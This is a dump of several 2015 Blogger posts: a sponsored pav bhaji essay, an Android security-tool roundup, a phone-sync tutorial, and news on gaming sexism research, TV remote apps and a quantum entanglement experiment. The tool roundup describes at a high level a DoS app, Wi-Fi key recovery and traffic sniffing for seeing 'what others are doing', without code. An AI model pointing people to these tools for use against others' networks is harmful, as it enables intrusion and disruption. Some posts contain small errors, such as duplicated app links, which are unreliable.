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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQ-Pz9w1fLx3qB2_HKqPqMwKz-2_-IACb3PLyfUPQ9cuj3A238KnZME4nezu2Y_BcA5Mt-jMd1kwQwQjfb_1r2W3MGy1DpR9WXPsOFd0FH7bS908FVj_Ca24WLUnZtJIkrDS49WzOI3THl/s1600/kissanpur.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQ-Pz9w1fLx3qB2_HKqPqMwKz-2_-IACb3PLyfUPQ9cuj3A238KnZME4nezu2Y_BcA5Mt-jMd1kwQwQjfb_1r2W3MGy1DpR9WXPsOFd0FH7bS908FVj_Ca24WLUnZtJIkrDS49WzOI3THl/s1600/kissanpur.gif" /></a></div>
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<span style="font-size: large;">Our life is so dominated by money that we have forgotten the true meaning of togetherness. Togetherness is not about being together but about feeling togetherness. It has to come from heart and when it does it gives us a feeling of oneness. </span></div>
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<span style="font-size: large;">From this we can deduce that oneness with god is a subset of togetherness. But how do we get the feeling of togetherness in this material world. That is the moot question.</span></div>
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<span style="font-size: large;">I derive my togetherness from cooking. Cooking is my hobby, though I have never taken it seriously. However,once in awhile, just like other people let down their hair and enjoy parties and nightlife, I take fun in cooking.</span></div>
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<span style="font-size: large;">For me taste is derived from love and however well somebody cooks, if that person doesnt love cooking, I feel, all his/her efforts are in vain. Because however measured you put salt in your dishes, you are bound to make it salty or with less salt if you dont love the dish you are making.</span></div>
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<span style="font-size: large;">So this Sunday, after a long time I decided to get back to what I loved most. I had decided before hand that today's dish will be 'pav bhaji'.</span></div>
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<span style="font-size: large;">Another thing I want to tell you that I hate it when someone helps me in preparing my dishes though I like everybody eating my preparation, even the neighbours. From the moment I decide to cook something, I am the king of the kitchen and nobody is allowed entry into it. </span></div>
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<span style="font-size: large;">At around 10 am I got to serious business of pav bhaji, within half an hour I had diced and cut the veggies required for the bhaji. The potato was steamed. This is where the fun begins. I am like a conductor of a musical orchestra in front of the gas stove. I simply love being there and doing that.</span></div>
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<span style="font-size: large;">Within minutes the bhaji was done. </span><span style="text-align: left;"><span style="font-size: large;"> Our family Sunday lunch is ready and the best part is, I had made it alone. The feeling of being together with my soul was complete in these few hours. </span></span></div>
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<span style="text-align: left;"><span style="font-size: large;">Now came the part of sharing this feeling of togetherness with my family and my neighbours. Watching them eating my pav bhaji, licking their fingers and passing comments (obviously good comments) was the ultimate happiness I got and gave.</span></span></div>
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<span style="font-size: large;">We had a lovely time at the lunch table. </span><span style="font-size: large;">Such sweet moments of togetherness are indeed the best part in life and one should share them as much as possible. Such is the message also delivered by Kissanpur. To k</span><span style="font-size: large;">now more about Kissanpur visit <a href="http://www.kissanpur.com/" target="_blank">here</a>.</span></div>
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<span style="font-size: large;">Have a look at this lovely video created by Kissanpur that motivates us towards togetherness :</span></div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-76636950867232182872015-10-09T17:05:00.001+05:302015-10-09T17:05:59.912+05:30Top Android Hacking Apps For Ethical Hackers and Security Professionals<div dir="ltr" style="text-align: left;" trbidi="on">
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There are many hacking apps that are available for android over the Internet. Given below are some of the advanced hacking apps specially designed for security professional and security researchers.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq56uvD2QHigSnCKziVszA_QgfzlYvcastY2eLUFSYj2szEDwpSisZijr9BCTgsROwTpy3iziSnjPZEaJSrnO1gQgIyFba9LG7QCmzPgBt1CS-UmbqiFK7H94tWo8DkiTA-O24upmPsGjA/s1600/Android-hacked.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Here's a look at the best Android smartphone/tablet hacking apps for security professionals, ethical hackers, white hat hackers and hobbyists" border="0" height="245" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq56uvD2QHigSnCKziVszA_QgfzlYvcastY2eLUFSYj2szEDwpSisZijr9BCTgsROwTpy3iziSnjPZEaJSrnO1gQgIyFba9LG7QCmzPgBt1CS-UmbqiFK7H94tWo8DkiTA-O24upmPsGjA/s320/Android-hacked.jpg" title="Here's a look at the best Android smartphone/tablet hacking apps for security professionals, ethical hackers, white hat hackers and hobbyists" width="320" /></a></div>
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<b>AnDOSid</b></div>
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AnDOSid is a DOS tool for android devices. AnDOSid tags posts with two unique numbers that connect to the android device that sent the request. It allows security professionals to simulate a dos attack from android mobile phones on web-servers or websites.</div>
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<b>Hackode</b></div>
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Security professionals can perform different kinds of exploits using this app. It has different kind of hacking tools like :</div>
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<li>Reconnaissance</li>
<li>IP</li>
<li>MX Records</li>
<li>Security Rss Feed</li>
<li>DNS lookup</li>
<li>DNS Dig</li>
<li>Google Hacking</li>
<li>Exploits</li>
<li>Google Dorks</li>
<li>Scanning</li>
<li>Whois</li>
<li>Traceroute</li>
<li>Ping</li>
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<b>Nmap for Android</b></div>
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Nmap (network mapper) is one the best among different network scanner (port finder) tool available for android devices. It is used by professionals mainly for developing of Unix OS. It is now available on Windows as well as Android. It works on both non-rooted and rooted phones. To have access to some more features, your device should be rooted. This application is not a official app but it looks good.</div>
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<b>WpScan</b></div>
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WpScan is a nice app that is the WordPress vulnerability scanner for Android devices used to browse through a WordPress based website and discover all the security susceptibilities it has. The desktop version of the app is much powerful than the android app. However, the android version of the app comes with some good features. Used by millions of websites, WordPress is one of the most popular CMS.</div>
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The app was released on Google Play but Google removed the app. The full source code of the app is available from Github. Please note that WPScan Android app is not an official WPScan app. So do not confuse the desktop version of WPScan to be related to the WPScan Android app.</div>
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<b>Penetrate Pro</b></div>
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Penetrate Pro is a good Android app for Wi-Fi decoding. The latest version of the app has added many nice features. It means that it can calculate WPA/WEP keys for some wireless routers. The Penetrate Pro app would be detected as virus, if you have installed an Antivirus app. Since this app is a security tool, it will not harm or affect your device.</div>
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<b>Network Discovery</b></div>
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Network Discovery is a free app for the Android device that does not need a rooted device. This app has an easy and simple to use interface. It views all the devices and networks linked to your Wi-Fi network. The application recognizes the manufacturer and OS of the device thus helping in gathering information on the connected Wi-Fi network.</div>
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<b>Shark for Root</b></div>
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Shark for Root is a nice traffic sniffer app for the Android device that works both on 3G and Wi-Fi. By using Shark Reader, you can see the dump on phone that comes with the app. If you want to open the dump on the system, you can also use a similar tool called Wireshark. So, get ready to sniff data on your Android device and see what others are doing.</div>
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<b>Nessus</b></div>
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A popular penetration testing tool, Nessus is used to carry out susceptibility scans with its client/server architecture. To bring its power on mobile devices, it released its mobile app. Nessus Android app can perform following tasks.</div>
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Connect to a Nessus server (4.2 or greater)<br />Start, stop or pause running scans<br />Launch existing scans on the server<br />Create and execute new scans and scan templates<br />View and filter reports</div>
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<b>SSHDroid</b></div>
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SSHDroid is a SSH server implementation for android. Secure Shell Or SSH is the best protocol that provides an extra layer of security while you are connecting with your remote machine. This application will let you connect to your device from a PC and execute commands (like “Terminal” And “Adb Shell”) or edit files (through SFTP, WinSCP, Cyberduck, etc...).</div>
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<b>zAnti</b></div>
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An award winning Penetration Testing framework for mobile devices, Zimperium's Android Network Toolkit is used by more than 150000 IT professionals. It is best for penetrating or discovering susceptible network. Initially, it was only "ANTI" a free app, however, it is now sold to some other company and named "zAnti".</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com1tag:blogger.com,1999:blog-1778979857251896130.post-7003270386667593022015-10-09T16:59:00.003+05:302015-10-09T16:59:56.001+05:30Tutorial for syncing your Android or iOS device with Windows 10 via Phone Companion App<div dir="ltr" style="text-align: left;" trbidi="on">
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Microsoft's Phone Companion app has now made it easy for Windows 10 desktop users to sync their Android or iOS device with the PC by following a few simple steps. Released in May this year, Microsoft's Phone Companion app offers easy syncing and transferring of data from smartphones to computers/Laptops.</div>
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In contrast to Windows Phones that sync automatically with a Windows 10 PC, the Android and iOS phones need to set up the sync process manually with a verified Windows Live account.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDY9EcinvEFKn1BCW7z2YKQkLD5tIU5K-GQY-puoad5IVCn8pKmlmlgZ9txqxfGDng0m76aR9AJxfDTX5OpWjaQtnGNA-dXwJYX-FmkX_vzVAyHFnERL7XH67GAYafkr9__rBPVeFR3KJD/s1600/Phone-Companion.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Microsoft's Phone Companion app has now made it easy for Windows 10 desktop users to sync their Android or iOS device with the PC by following a few simple steps. Released in May this year, Microsoft's Phone Companion app offers easy syncing and transferring of data from smartphones to computers/Laptops. In contrast to Windows Phones that sync automatically with a Windows 10 PC, the Android and iOS phones need to set up the sync process manually with a verified Windows Live account. While the iOS and Android users get limited support for just five apps, the Windows Phone users get all seven apps via Phone Companion app. Here's a step-by-step guide to help you sync your Android or iOS smartphone with your Windows 10 PC. Important Points to Remember Prior to starting the syncing process, ensure that your Android or iOS smartphone has sufficient battery charge. Ensure that you are already signed into your PC with a verified Windows Live account. Have your Android or iOS device handy for setting up the Windows 10 Phone Companion app. Repeat the same steps for setting up all five compatible apps with the Phone Companion app. Steps to Sync your Android or iOS device via Windows 10 Phone Companion app: Step 1: Connect your device to the PC through a USB cable. Windows 10 will automatically identify the device and start installing the necessary USB drivers. Step 2: Launch the Phone Companion app > Select the device's platform (Android or iOS). Step 3: Then select OneDrive. Step 4: When prompted, key-in your Windows Live account's login information and then click the sign-in button. Step 5: Once logged in, you will get a download link in your email through which you can install the corresponding app, depending on your device's platform Alternately, you can go to the Google Play Store directly and get the app. Step 6: Launch the app once you have installed it on your phone and re-enter the Windows Live ID information. Step 7: Sign in to the account and follow the instructions and set up the permissions required to run the app smoothly. For instance, OneDrive will only require permissions or access to the image streaming/gallery. Step 8: Once the Phone Companion app is set up, go to the PC and tick the confirmation box: "I'm signed into the OneDrive app on my XX device." Step 9: In the next screen, confirm the Camera Upload settings on your handset by ticking the box. Then hit next followed by Done to complete the process. You can now start syncing user data from your Android or iOS phone to the Windows 10 PC. Repeat the same steps to sync the other compatible apps with Phone Companion app." border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDY9EcinvEFKn1BCW7z2YKQkLD5tIU5K-GQY-puoad5IVCn8pKmlmlgZ9txqxfGDng0m76aR9AJxfDTX5OpWjaQtnGNA-dXwJYX-FmkX_vzVAyHFnERL7XH67GAYafkr9__rBPVeFR3KJD/s400/Phone-Companion.png" title="Microsoft's Phone Companion app has now made it easy for Windows 10 desktop users to sync their Android or iOS device with the PC by following a few simple steps. Released in May this year, Microsoft's Phone Companion app offers easy syncing and transferring of data from smartphones to computers/Laptops. In contrast to Windows Phones that sync automatically with a Windows 10 PC, the Android and iOS phones need to set up the sync process manually with a verified Windows Live account. While the iOS and Android users get limited support for just five apps, the Windows Phone users get all seven apps via Phone Companion app. Here's a step-by-step guide to help you sync your Android or iOS smartphone with your Windows 10 PC. Important Points to Remember Prior to starting the syncing process, ensure that your Android or iOS smartphone has sufficient battery charge. Ensure that you are already signed into your PC with a verified Windows Live account. Have your Android or iOS device handy for setting up the Windows 10 Phone Companion app. Repeat the same steps for setting up all five compatible apps with the Phone Companion app. Steps to Sync your Android or iOS device via Windows 10 Phone Companion app: Step 1: Connect your device to the PC through a USB cable. Windows 10 will automatically identify the device and start installing the necessary USB drivers. Step 2: Launch the Phone Companion app > Select the device's platform (Android or iOS). Step 3: Then select OneDrive. Step 4: When prompted, key-in your Windows Live account's login information and then click the sign-in button. Step 5: Once logged in, you will get a download link in your email through which you can install the corresponding app, depending on your device's platform Alternately, you can go to the Google Play Store directly and get the app. Step 6: Launch the app once you have installed it on your phone and re-enter the Windows Live ID information. Step 7: Sign in to the account and follow the instructions and set up the permissions required to run the app smoothly. For instance, OneDrive will only require permissions or access to the image streaming/gallery. Step 8: Once the Phone Companion app is set up, go to the PC and tick the confirmation box: "I'm signed into the OneDrive app on my XX device." Step 9: In the next screen, confirm the Camera Upload settings on your handset by ticking the box. Then hit next followed by Done to complete the process. You can now start syncing user data from your Android or iOS phone to the Windows 10 PC. Repeat the same steps to sync the other compatible apps with Phone Companion app." width="400" /></a></div>
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While the iOS and Android users get limited support for just five apps, the Windows Phone users get all seven apps via Phone Companion app.</div>
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Here's a step-by-step guide to help you sync your Android or iOS smartphone with your Windows 10 PC.</div>
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<b>Important Points to Remember</b></h3>
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Prior to starting the syncing process, ensure that your Android or iOS smartphone has sufficient battery charge.</div>
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<li>Ensure that you are already signed into your PC with a verified Windows Live account.</li>
<li>Have your Android or iOS device handy for setting up the Windows 10 Phone Companion app.</li>
<li>Repeat the same steps for setting up all five compatible apps with the Phone Companion app.</li>
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<b>Steps to Sync your Android or iOS device via Windows 10 Phone Companion app:</b></h3>
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Step 1: Connect your device to the PC through a USB cable. Windows 10 will automatically identify the device and start installing the necessary USB drivers.</div>
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Step 2: Launch the Phone Companion app > Select the device's platform (Android or iOS).</div>
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Step 3: Then select OneDrive.</div>
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Step 4: When prompted, key-in your Windows Live account's login information and then click the sign-in button.</div>
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Step 5: Once logged in, you will get a download link in your email through which you can install the corresponding app, depending on your device's platform Alternately, you can go to the Google Play Store directly and get the app.</div>
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Step 6: Launch the app once you have installed it on your phone and re-enter the Windows Live ID information.</div>
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Step 7: Sign in to the account and follow the instructions and set up the permissions required to run the app smoothly. For instance, OneDrive will only require permissions or access to the image streaming/gallery.</div>
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Step 8: Once the Phone Companion app is set up, go to the PC and tick the confirmation box: "I'm signed into the OneDrive app on my XX device."</div>
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Step 9: In the next screen, confirm the Camera Upload settings on your handset by ticking the box. Then hit next followed by Done to complete the process.</div>
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You can now start syncing user data from your Android or iOS phone to the Windows 10 PC. Repeat the same steps to sync the other compatible apps with Phone Companion app.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com1tag:blogger.com,1999:blog-1778979857251896130.post-74252597451095043222015-10-09T16:55:00.002+05:302015-10-09T16:55:35.297+05:30Study reveals that men who are losers make abusive comments and harass women during online games <div dir="ltr" style="text-align: left;" trbidi="on">
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Researchers now reveal that men with the worst performances and the lowest skill levels are the ones who mostly make abusive comments towards women players.</div>
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<span style="color: #333333; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 24px;">In their latest study, published last week in the journal PLOS ONE, Michael Kasumovic and Jeffrey Kuznekoff, researchers at the University of New South Wales and Miami University, respectively, have revealed that </span><strong><span style="color: #333333; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; line-height: 24px;">men who harass women and make abusive comments while playing online games are usually those who are losers (both in game and life).</span></strong><br />
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<strong><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibIeNsJyEh0LNhn_JTBJoh-O9mkNqHDaPaxEXCYhMEcgrrnNCHUXqAmeA_NH5gWPn7Ep8T3_axQOJcO3O-TVLQc2Z7lPS84yN9PUgoTekDZZ9dQWdxotC-kfKpodPhyphenhyphenP307zPA87PUDtyQ/s1600/Female+gamers.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Study reveals that men who are losers make abusive comments and harass women during online games " border="0" height="246" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibIeNsJyEh0LNhn_JTBJoh-O9mkNqHDaPaxEXCYhMEcgrrnNCHUXqAmeA_NH5gWPn7Ep8T3_axQOJcO3O-TVLQc2Z7lPS84yN9PUgoTekDZZ9dQWdxotC-kfKpodPhyphenhyphenP307zPA87PUDtyQ/s400/Female+gamers.jpg" title="Study reveals that men who are losers make abusive comments and harass women during online games " width="400" /></a></strong></div>
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The study has been titled <em>"Insights into Sexism: Male Status and Performance Moderates Female-Directed Hostile and Amicable Behavior."</em> The researchers surveyed 163 sessions of video game Halo 3, wherein they kept a watch on the behavior of men during the game and the findings of the study was quite surprising. Halo 3 is a popular Xbox 360 first-person shooter game which includes an online multi-player mode wherein actual human beings can speak to each other, in real time.</div>
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During the experiment, of the 163 sessions, 82 were in pre-recorded female voice for response whereas the rest 81 was in pre-recorded female voice. Players spoke only within 102 sessions of the total 163. Totally 189 players spoke in these 102 games and all of them were males. The game had female participants; however they did not speak during the entire game, indicating it was an overall male dominating environment during the experiment.</div>
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Further, researchers had attached an audio playback device to the Xbox controllers of the players, obviously without their knowledge, which enabled them to "broadcast pre-recorded audio clips to other players as if they were speaking to each other through the real-time voice channel."</div>
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The experiment was comprised of three manipulations:</div>
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<li>Control where matches were played as normal</li>
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<li>Female manipulation where pre-recorded female voices were broadcast to players over real time</li>
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As per their research paper, researchers have concluded that:</div>
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"We found that skill determined the frequency of positive and negative statements spoken towards both male- and female-voiced teammates. In addition, poorer performance (fewer kills and more deaths) resulted in more negative statements specifically in the female-voiced manipulation. We thus argue that our results best support an evolutionary explanation of female-directed aggression. Low-status males that have the most to lose due to a hierarchical reconfiguration are responding to the threat female competitors pose. High-status males with the least to fear were more positive, suggesting they were switching to a supportive, and potentially, mate attraction role."</blockquote>
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Researchers thus concluded that most of the times men using the abusive comments against women players are the ones who are either worst performers or the ones with lower skills. It was seen that <strong>female-voiced manipulation faced a greater number of negative comments</strong>; however as the focal player performance improved there was a drastic decrease in the female directed negativity. As the skill increased the focal players increased the use of positive statements.</div>
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The researchers said: "The idea that <strong>video games may be reinforcing such gender segregation</strong> as the norm for many teenagers is troubling given the fact that a significant proportion of them are gamer. Such ideas have the potential to spill over in real-life interactions and promote socially unacceptable behaviors such as sexism."</div>
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The interesting fact about this experiment is that the findings and conclusions are <strong>applicable to other online platforms</strong> where users have the freedom to say and act anonymously, for instance Twitter or Reddit. The study concludes:</div>
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"Our results support an evolutionary argument for why low-status, low-performing males are hostile towards female competitors. Dominance is tightly linked to fitness in men...Low-status and low-performing males have the most to lose as a consequence of the hierarchical reconfiguration due to the entry of a competitive woman."</div>
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While speaking to the author of the <em>Washington Post</em> article, Kasumovic stated: "As men often rely on aggression to maintain their dominant social status, the increase in hostility towards a woman by lower-status males may be an attempt to disregard a female's performance and suppress her disturbance on the hierarchy to retain their social rank. This idea is reinforced by the fact that higher-skilled males that should not feel threatened by a female increased their number of positive comments."</div>
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The study has further highlighted certain interesting traits of the poor performing males. For instance, when a high performing male leads the poor performer male, then the lower performer male showed a <strong>positive behavior</strong>; thus the study authors have concluded that poor performer and low skilled males usually show a <strong>'submissive behavior</strong>'. </div>
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The study authors further assumed that this behavior could be partly due to the cooperative nature of Halo 3. In addition, the study also revealed that in case of higher skilled and successful male players, they were positive as well as encouraging to both, male as well as female players.</div>
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Researchers believe that the study offers a hope wherein the abusive male behavior can be changed even in case of the lowest performing males.</div>
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According to researchers:</div>
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"By demonstrating that female-directed hostility primarily originates from low-status, poorer-performing males, our results suggest that a way to counter it may be through teaching young males that<strong> 'losing to the opposite sex is not socially debilitating'</strong>. This can be most easily done using video games as the gaming population is nearly equally split between men (52%) and women (48%)."</blockquote>
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A recent report from Pew Research Center reveals that 40% of internet users have experienced online harassment while almost 73% of them have witnessed such harassment happening to others.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-7085169383598257982015-10-09T16:50:00.000+05:302015-10-09T16:50:27.481+05:30Top 9 TV remote apps for your Android smartphones and tablets<div dir="ltr" style="text-align: left;" trbidi="on">
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With appropriate Android device and the apt TV remote apps you can control your Television sets without their remote controls.</div>
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Misplacing the TV remote control and searching for it just when one of the most interesting show is to be seen can be really annoying. Thanks to the advanced technology, with the built in IR (Infra Red) blaster we can now use the super advanced Android devices to control our Television sets provided they have the right TV remote apps installed in them. Some apps also allows to control the TV over Wi-Fi.</div>
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Below listed are the Top 9 TV remote apps for Android Device:</div>
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<li><strong>Easy Universal TV Remote:</strong> This is one of the first app in the Google Play store which allows the Android device to control a television set. As the name implies it is actually very easy to operate and universal with the added benefit that it can be used to control any type of television. Although some minor compatibility issues have been identified by some users; however this app has been recommended as a must app for all the smartphone users. Further, the UI is pretty easy and it displays all the basic information without cluttering the entire screen. This app resembles more or less like a remote control with well placed buttons. The best part of this app is that smartphones without IR blaster can also use this app to control the TV set. Suppose, if there is IR blaster in the smartphone it would function as a TV remote without the need of Wi-Fi. This app can be downloaded for free of cost. To download the Easy Universal TV Remote click this link: https://play.google.com/store/apps/details?id=com.easy.tv.remote</li>
<li> <strong>Twinone IR Remote:</strong> This is an universal IR remote control which can be downloaded for free of cost. With its simplistic design this IR remote app helps user to control all the IR enabled devices including stuff such as TV, air conditioner, cable box with their built in IR blaster. So, here the smartphones need to have built in IR blaster as well as the devices need to be IR enabled for this app to work. Users have given a mixed review regarding the functionality of this app, it seems the app can work fine when it comes to controlling the channels and volume however in other areas this app is not of much use. Users can give this app a try anyways it is a free app. To download the Twinone IR Remote click this link: https://play.google.com/store/apps/details?id=org.twinone.irremote</li>
<li><strong>Smart IR Remote: </strong>Smart IR Remote not only controls TV but it brings a range of remote controls to the smartphone as it can control the air conditioner and DSLR cameras as well. Hence, this one app can act as "all in one" remote. The UI can adapt to any situation. This app is not compatible with few brands such as LG, Sony, Vizio, Huawei smartphones. Further the app also has lot of features that includes device specific ones such as air gesture for Galaxy devices. The app also provides certain additional widgets, backup facility and some awesome automated tasks. One has to pay some minimal charges to get this app downloaded and it is not free of cost. To download the Smart IR Remote click this link: https://play.google.com/store/apps/details?id=com.remotefairy&hl=en</li>
<li><strong>Unified Remote Full</strong>: Basically the Unified Remote Full is an application for people using the Home Theatre PC (HTPC). With this application user can control Windows, Mac, Linux computers with their smartphones. This application imitates a mouse and keyboard thus helping users to search Netflix or even click on the required videos using the application. Further, this application also has a built in support for 90 apps that includes a media player, power control, file management to name a few. Besides the application also includes Google Chrome, PowerPoint, XBMC (Kodi), VLC, Winamp, iTunes and Spotify. One has to pay some minimal charges to get this app downloaded and it is not free of cost. To download the Unified Remote Full click this link: https://play.google.com/store/apps/details?id=com.Relmtech.RemotePaid</li>
<li><strong>Xbox One SmartGlass</strong>: The Xbox One SmartGlass app is a free app and a must for those who have the Xbox One. The most important feature of Xbox One is that is can be linked to the cable TV and used as Set-Top box. The Xbox One SmartGlass app lets user control the Xbox One as a game console, a message center because user can reply to the Xbox messages using their smartphone and the app and user can also control the Xbox as a set top box. Further, this app also works over WiFi hence there is no need of an IR blaster. So with this app user can control many things just with Wifi and this app. An advanced version of this app is also available for Xbox 360 and this is helpful in case users want to connect to Netflix or watch any locally stored videos or music. To download the Xbox One SmartGlass click this link: https://play.google.com/store/apps/details?id=com.microsoft.xboxone.smartglass</li>
<li><strong>Manufacturer Specific apps</strong>: Of late the market has been flooded with smart TVs from different manufacturers. Further, these manufacturers have released their official apps for Android devices that are exclusive for their brand. The app supports old Smart TVs which were made in 2011. Users need to pair the TV and the remote app by connecting it at the same wireless network. The advantage here is that it can work over Wi-Fi and do not require the IR blaster in the smartphone to control the television set. Thus using the Manufacturer specific apps is much more reliable, stable and easy to use. Now, as per the brand of the TV various specific apps have been built for them. Let us consider the example of LG smart TV there is LG TV Remote (linked) which is specific for LG smart TV only. Similarly there are apps for brands like Vizio, Samsung and other Smart TVs that have been launched in the market. Users need to search for their brand specific apps from the Google Play store. This is again a free app for all the brands. For LG TV users there is LG TV Remote app which can be downloaded from this link: <a data-mce-href="https://play.google.com/store/apps/details?id=com.lge.tv.remoteapps" href="https://play.google.com/store/apps/details?id=com.lge.tv.remoteapps">https://play.google.com/store/apps/details?id=com.lge.tv.remoteapps</a> Similarly Vizio TV users can get the VizRemote (TV remote control app) from this link: <a data-mce-href="https://play.google.com/store/apps/details?id=com.lge.tv.remoteapps" href="https://play.google.com/store/apps/details?id=com.lge.tv.remoteapps">https://play.google.com/store/apps/details?id=com.lge.tv.remoteapps</a> Samsung TV users can get the Remote for Samsung TV app from this link : <a data-mce-href="https://play.google.com/store/apps/details?id=com.lge.tv.remoteapps" href="https://play.google.com/store/apps/details?id=com.lge.tv.remoteapps">https://play.google.com/store/apps/details?id=com.lge.tv.remoteapps</a></li>
<li><strong>OEM (Original Equipment Manufacturer) specific apps</strong>: Most devices already have a built-in IR remote app which has been given by the OEM during the time of shipping and it can be used free of charge. Though these apps are generally light on features but they do work some of the time. And if these work then users need not download any other app from the play store. In addition, the devices would also sport specific features that the OEM remote app will have incorporated in that particular device which will not be found in some other device of different make. Users can definitely give this app a try. This is a free app. Peel Smart Remote app is one such OEM specific app for the HTC smartphone. Users can get this downloaded from the below given link: https://play.google.com/store/apps/details?id=tv.peel.app</li>
<li><strong>Yatse, the XBMC / Kodi Remote</strong>: This is a remote solution for those who use XMBC/Kodi as the main media player on their TV sets. With this remote app user will be able to control their XBMC installation. This remote app comprises of certain features such as voice control, Android Wear support, Cloud saving and various other configuration options. It has been observed that it works well with most of the TV sets. This is a free app which can take complete control of the media center with its library supports, beautiful widgets, streaming, offline media sync, internal audio player all of which are optimized for smartphones and Tablet users. To download the Yatse Remote app click this link: https://play.google.com/store/apps/details?id=org.leetzone.android.yatsewidgetfree</li>
<li><strong>Chromecast</strong>: Chromecast is a thumb sized media streaming dongle which can be plugged into the HDMI port of the TV. With a help of a smartphone or Tablet or laptop user can directly stream their favorite entertainment and apps into their TV. The official Chromecast app can be used by users in case they wish to use apps like Hulu, Netflix, YouTube and other entertainment apps via Chromecast to stream it in their TV. This app can connect their device to the WiFi network, personalize the TV screen, Change the WiFi password and device name; however controlling volume and changing the TV channel is not possible. Users need to spend $25 to buy the device and the app can be used for free of cost. The app can be downloaded from this link: https://play.google.com/store/apps/details?id=com.google.android.apps.chromecast.app</li>
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These are the Top 9 TV remote apps that our team feels are one of the best and can be given a try by our readers. If you have any other app which you feel should have been included in this list then please leave the details in the comments section to benefit other readers. Any other suggestions are also welcome.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-71854856662408712752015-09-11T14:58:00.001+05:302015-09-11T14:58:54.367+05:30Using the first loophole-free experiment physicists demonstrate the spookiness of Quantum theory <div dir="ltr" style="text-align: left;" trbidi="on">
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Quantum theory's 'spooky action at a distance' has now been confirmed officially with new loophole-free experiment.</h3>
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It has been proved by physicists that particles behave in some weird ways, in the sense that though they are separated by distance they can still influence each other.<br />
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Earlier this year, physicists explained that according to "Quantum Entanglement" two particles which are light years away can still influence each other; for instance if one particle is poked then another particle which is placed at a distance of light year can also respond to this poking without any messages being passed through the space. This sort of 'intimate connection' between the particles is termed as "Entanglement" by "quantum physics".</div>
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This law of 'Quantum Entanglement' defies Einstein's "law of relativity" - according to which no particle can travel faster than speed of light. Thus, Einstein termed this intimate connection in between the separated particles as "spooky action at a distance" and he believed the spookiness of quantum theory to be totally weird.</div>
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Many papers have proved the existence of quantum entanglement; however, physicists at Netherlands have posted a new research paper online on August 24 to the <a data-mce-href="http://arxiv.org/abs/1508.05949" href="http://arxiv.org/abs/1508.05949" target="_blank">arXiv</a>.The paper titled "Experimental loophole-free violation of a Bell inequality using entangled electrons spins separated by 1.3 km" describes the<strong> first loophole free experiment</strong> with which physicists actually succeeded in meeting the mathematical gold standard for <strong>proving entanglement</strong>- a goal that was set down some fifty years ago.</div>
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Currently, the paper has to go undergo a review from other physicists and it is being reviewed at a scientific journal but it has already drawn attention in the community of quantum physics.</div>
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"It’s a shame that Einstein didn’t live long enough to learn about this," say Christoph Simon, a theoretical quantum physicist at the University of Calgary in Alberta, Canada. "The universe is not as reasonable as he wanted it to be."</blockquote>
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<strong>First loophole free Quantum experiment to prove the "Quantum spookiness"</strong></h2>
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Physicists from Netherlands, UK and Spain entangled pairs of electrons which were separated by a distance of 1.3 km. This <strong>first loophole free quantum experiment</strong> was led by B. Hensen, researcher from Delft University of Technology, Netherlands. During the experiment, the research team measured one of the electrons and simultaneously another group closely watched its partner to check if was affected.</div>
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It was in 1960s when an Irish physicist John Bell conducted an experiment get some clear explanation for this quantum entanglement. The experiment is known as 'Bell experiment' and it has always showed that quantum entanglement theory is real. Practically speaking, most of the physicists believe that the correlation between the particles should cease completely as the particles move far away from each other; however quantum theory defies this belief and proves that the particles continue communicating with each other and is not affected by distance.</div>
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Physicists have been repeatedly conducting the Bell experiment for almost 3 decades and it has always proved the quantum theory to be real.</div>
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If the quantum theory and quantum entanglement was already proved then why are physicists conducting it again and again? Well, this question might arise in most of our minds!</div>
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Now, here comes the real hitch, physicists believe that the <strong>Bell experiment has a 'lot of loopholes'.</strong></div>
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In the Bell experiment, physicists used 'entangle photons', photons are super-fast in nature and hence it is very hard to pin them down and measure. So literally speaking 80 percent of the photons were usually lost even before they were measured thus leading to vague results.</div>
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Physicists then started using 'entangled ions' instead of 'entangled photons' just to close the loophole and to derive some clear conclusions. Using the entangled ions presented some other complications and in fact it opened another loophole! It is a fact that you cannot keep ions apart from each other for a long time and by default some information does pass between the entangled particles, which could be at a rate less than that of the light's speed.</div>
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Thus, this new loophole free experiment is very much important. Physicists claim they have finally managed to close both the loopholes as they have combined the benefits of photons with that of the electrons thus ensuring that they can be measured.</div>
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The research team conducted the experiment by entangling the spin of two electrons with that of two different photons. Initially, the two electrons were located in different laboratories which were separated by a distance of 1.3 km and the photons were sent to some third location. Then these were separately entangled with each other.</div>
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A writer at science report, <em><a data-mce-href="http://fqxi.org/community/forum/topic/2581" href="http://fqxi.org/community/forum/topic/2581" target="_blank">FQXi Blogs</a></em> writes: "As soon as the photons are entangled, BINGO, so too are the two original electron spins, seated in vastly distant labs. The team carried out 245 trials of the experiment, comparing entangled electrons, and report that Bell’s bound is violated."</div>
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So far, scientists used to blame the loopholes in the Bell experiment for proving the quantum theory; however a loophole free experiment also proved the existence of quantum entanglement proving <strong>"spooky" quantum behavior definitely exists.</strong></div>
